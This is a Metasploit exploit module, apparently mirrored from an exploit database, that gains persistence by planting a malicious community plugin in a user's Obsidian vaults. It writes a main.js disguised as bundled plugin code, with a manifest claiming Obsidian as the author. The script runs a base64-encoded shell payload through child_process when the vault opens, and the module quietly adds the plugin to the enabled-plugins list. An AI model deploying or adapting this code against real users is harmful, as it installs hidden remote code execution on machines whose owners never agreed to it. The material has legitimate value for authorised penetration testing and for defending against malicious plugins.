Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-LOCAL-OBSIDIAN_PLUGIN_PERSISTENCE-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::Unix # whoami
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Obsidian Plugin Persistence',
        'Description' => %q{
          This module searches for Obsidian vaults for a user, and uploads a malicious
          community plugin to the vault. The vaults must be opened with community
          plugins enabled (NOT restricted mode), but the plugin will be enabled
          automatically.

          Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # Module
          'Thomas Byrne' # Research, PoC
        ],
        'DisclosureDate' => '2022-09-16',
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'Privileged' => false,
        'References' => [
          [ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
          [ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
          [ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
          [ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
          [ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
        ],
        'Arch' => [ARCH_CMD],
        'Platform' => %w[osx linux windows],
        'DefaultOptions' => {
          # 25hrs, you know, just in case the user doesn't open Obsidian for a while
          'WfsDelay' => 90_000,
          'PrependMigrate' => true
        },
        'Payload' => {
          'BadChars' => '"'
        },
        'Stance' => Msf::Exploit::Stance::Passive,
        'Targets' => [
          ['Auto', {} ],
          ['Linux', { 'Platform' => 'unix' } ],
          ['OSX', { 'Platform' => 'osx' } ],
          ['Windows', { 'Platform' => 'windows' } ],
        ],
        'Notes' => {
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
        },
        'DefaultTarget' => 0
      )
    )

    register_options([
      OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
      OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
      OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
    ])
  end

  def plugin_name
    return datastore['NAME'] unless datastore['NAME'].blank?

    rand_text_alphanumeric(4..10)
  end

  def find_vaults
    vaults_found = []
    user = target_user
    vprint_status("Target User: #{user}")
    case session.platform
    when 'windows', 'win'
      config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
    when 'osx'
      config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
    when 'linux'
      config_files = [
        "/home/#{user}/.config/obsidian/obsidian.json",
        "/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
      ] # snap package
    end

    config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?

    config_files.each do |config_file|
      next unless file?(config_file)

      vprint_status("Found user obsidian file: #{config_file}")
      config_contents = read_file(config_file)
      return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?

      begin
        vaults = JSON.parse(config_contents)
      rescue JSON::ParserError
        vprint_error("Failed to parse JSON from #{config_file}")
        next
      end

      vaults_found = vaults['vaults']
      if vaults_found.nil?
        vprint_error("No vaults found in #{config_file}")
        next
      end

      vaults['vaults'].each do |k, v|
        if v['open']
          print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
        else
          print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
        end
      end
    end

    vaults_found
  end

  def manifest_js(plugin_name)
    JSON.pretty_generate({
      'id' => plugin_name.gsub(' ', '_'),
      'name' => plugin_name,
      'version' => '1.0.0',
      'minAppVersion' => '0.15.0',
      'description' => '',
      'author' => 'Obsidian',
      'authorUrl' => 'https://obsidian.md',
      'isDesktopOnly' => false
    })
  end

  def main_js(_plugin_name)
    if ['windows', 'win'].include? session.platform
      payload_stub = payload.encoded.to_s
    else
      payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
    end
    %%
/*
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
if you want to view the source, please visit the github repository of this plugin
*/

var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __export = (target, all) => {
  for (var name in all)
    __defProp(target, name, { get: all[name], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
  if (from && typeof from === "object" || typeof from === "function") {
    for (let key of __getOwnPropNames(from))
      if (!__hasOwnProp.call(to, key) && key !== except)
        __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
  }
  return to;
};
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

// main.ts
var main_exports = {};
__export(main_exports, {
  default: () => ExamplePlugin
});
module.exports = __toCommonJS(main_exports);
var import_obsidian = require("obsidian");
var ExamplePlugin = class extends import_obsidian.Plugin {
  async onload() {
        var command = "#{payload_stub}";
        const { exec } = require("child_process");
        exec(command, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            console.log(`stdout: ${stdout}`);
        });
  }
  async onunload() {
  }
};
%
  end

  def target_user
    return datastore['USER'] unless datastore['USER'].blank?

    return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform

    whoami
  end

  def check
    return CheckCode::Appears('Vaults found') unless find_vaults.empty?

    CheckCode::Safe('No vaults found')
  end

  def exploit
    plugin = plugin_name
    print_status("Using plugin name: #{plugin}")
    vaults = find_vaults
    fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
    vaults.each_value do |vault|
      print_status("Uploading plugin to vault #{vault['path']}")
      # avoid mkdir function because that registers it for delete, and we don't want that for
      # persistent modules
      if ['windows', 'win'].include? session.platform
        cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
      else
        cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
      end
      vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
      write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
      vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
      write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))

      # read in the enabled community plugins, and add ours to the enabled list
      if file?("#{vault['path']}/.obsidian/community-plugins.json")
        plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
        begin
          plugins = JSON.parse(plugins)
          vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
          path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
          print_good("Config file saved in: #{path}")
        rescue JSON::ParserError
          plugins = []
        end

        plugins << plugin unless plugins.include?(plugin)
      else
        plugins = [plugin]
      end
      vprint_status("adding #{plugin} to the enabled community plugins list")
      write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
      print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
    end
  end
end